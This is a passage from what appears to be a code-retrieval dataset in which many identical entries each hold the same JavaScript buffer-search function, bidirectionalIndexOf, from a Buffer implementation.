(Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, 